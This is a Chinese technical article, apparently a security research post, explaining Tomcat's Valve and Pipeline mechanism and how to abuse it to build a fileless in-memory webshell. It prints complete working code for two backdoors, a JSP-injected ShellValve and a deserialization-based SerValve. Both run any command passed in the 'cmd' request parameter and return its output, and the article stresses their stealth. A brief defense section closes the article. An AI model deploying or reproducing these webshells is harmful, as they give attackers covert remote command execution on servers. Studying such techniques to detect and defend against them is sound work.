Tomct-Valve内存马
字数 1834 2025-08-06 08:35:06
Tomcat Valve内存马技术分析与实现
0x00 前言
本文详细分析Tomcat中Valve组件的实现原理,并讲解如何利用Valve机制实现内存马。Valve是Tomcat容器处理请求的重要组件,通过理解其工作机制,可以实现隐蔽的后门功能。
0x01 Valve简介
Valve基本概念
Valve(阀门)是Tomcat中用于处理传入请求和传出响应的基本组件,可以被添加到Engine、Host或Context容器中提供额外功能。主要用途包括:
- 记录日志(访问日志、错误日志等)
- 实现认证和授权
- 实施防火墙、IP过滤等安全功能
- 监控请求处理性能
- 修改请求或响应内容
- 实现负载均衡策略
Tomcat管道机制
Tomcat的管道机制将一系列Valve按顺序链接形成处理管道,请求依次经过每个Valve执行特定任务。关键组件包括:
- Container:处理HTTP请求的主要组件,包括Engine、Host和Context
- Valve:处理请求和响应的核心组件
- Pipeline:管道对象,持有一系列Valve并负责按序执行
- Valve链:Pipeline中Valve的有序集合
每个容器(Engine、Host、Context)都有对应的StandardPipeline,请求处理流程从StandardEngine的first-valve开始,到StandardWrapper的basic-valve结束。
0x02 Valve处理流程
以Tomcat 8.5.73为例,Valve处理流程如下:
org.apache.coyote.http11.Http11Processor#service开始处理请求org.apache.catalina.connector.CoyoteAdapter#service获取Engine并调用其StandardPipeline的first-valveorg.apache.catalina.core.StandardEngineValve#invoke执行Engine Valveorg.apache.catalina.valves.AbstractAccessLogValve#invoke访问日志Valveorg.apache.catalina.valves.ErrorReportValve#invoke错误报告Valveorg.apache.catalina.core.StandardHostValve#invokeHost Valveorg.apache.catalina.authenticator.AuthenticatorBase#invoke认证Valveorg.apache.catalina.core.StandardContextValve#invokeContext Valve- 禁止直接访问WEB-INF/META-INF资源
- 选择对应的Wrapper
- 检查异步支持
org.apache.catalina.core.StandardWrapperValve#invokeWrapper Valve- 处理Filter链
- 调用Servlet处理请求
0x03 添加自定义Valve
实现自定义Valve需要继承ValveBase类或实现Valve接口,关键方法是invoke():
public class TestValve extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
System.out.println("自定义的valve执行...");
// 必须调用下一个Valve
getNext().invoke(request,response);
}
}
添加Valve到指定容器示例(添加到Engine):
// 获取Request对象
Field fieldRequest = request.getClass().getDeclaredField("request");
fieldRequest.setAccessible(true);
Request req = (Request) fieldRequest.get(request);
// 获取StandardContext
StandardContext standardContext = (StandardContext)req.getContext();
// 获取StandardHost
StandardHost standardHost = (StandardHost) standardContext.getParent();
// 获取StandardEngine
StandardEngine standardEngine = (StandardEngine) standardHost.getParent();
// 添加自定义Valve
standardEngine.getPipeline().addValve(new TestValve());
0x04 Valve内存马实现
JSP实现方式
<%!
public class ShellValve extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
response.setContentType("text/plain");
response.setCharacterEncoding("utf-8");
String cmd = request.getParameter("cmd");
try {
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(
new InputStreamReader(process.getInputStream()));
StringBuilder output = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
int exitCode = process.waitFor();
output.append("\n命令执行完成,退出码为 " + exitCode);
response.getWriter().print(output.toString());
} catch (Exception e) {
e.printStackTrace();
}
getNext().invoke(request,response);
}
}
%>
<%
try {
Field fieldRequest = request.getClass().getDeclaredField("request");
fieldRequest.setAccessible(true);
Request req = (Request) fieldRequest.get(request);
StandardContext standardContext = (StandardContext)req.getContext();
StandardWrapper standardWrapper = (StandardWrapper) req.getWrapper();
StandardHost standardHost = (StandardHost) standardContext.getParent();
StandardEngine standardEngine = (StandardEngine) standardHost.getParent();
Valve shellValve = new ShellValve();
standardEngine.getPipeline().addValve(shellValve);
} catch (Exception e) {
e.printStackTrace();
}
%>
反序列化实现方式
当使用反序列化实现时,由于Java单继承限制,需要实现Valve接口而非继承ValveBase:
public class SerValve implements Valve {
static {
WebappClassLoaderBase webappClassLoaderBase =
(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
Context context = webappClassLoaderBase.getResources().getContext();
context.getPipeline().addValve(new SerValve());
}
@Override
public Valve getNext() { return null; }
@Override
public void setNext(Valve valve) {}
@Override
public void backgroundProcess() {}
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
try {
if (cmd != null && !cmd.isEmpty()) {
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(
new InputStreamReader(process.getInputStream()));
StringBuilder output = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
process.waitFor();
response.getWriter().write(output.toString());
}
} catch (Exception e) {
e.printStackTrace();
}
request.getContext().getPipeline().getBasic().invoke(request,response);
}
@Override
public boolean isAsyncSupported() { return false; }
}
0x05 关键注意事项
- 必须调用
getNext().invoke()或getBasic().invoke()确保请求继续处理 - 每个容器(Engine/Host/Context)都有独立的Pipeline
- 反序列化实现时需注意Java单继承限制
- Valve内存马具有较高隐蔽性,不依赖文件落地
- 实现时需考虑异常处理和流程完整性
0x06 防御措施
- 监控Tomcat中非标准Valve的添加
- 定期检查容器Pipeline中的Valve列表
- 限制JSP上传和执行权限
- 使用安全防护产品检测异常行为
- 及时更新Tomcat版本修复已知漏洞
通过深入理解Tomcat Valve机制,安全研究人员可以更好地发现和防御此类内存马攻击。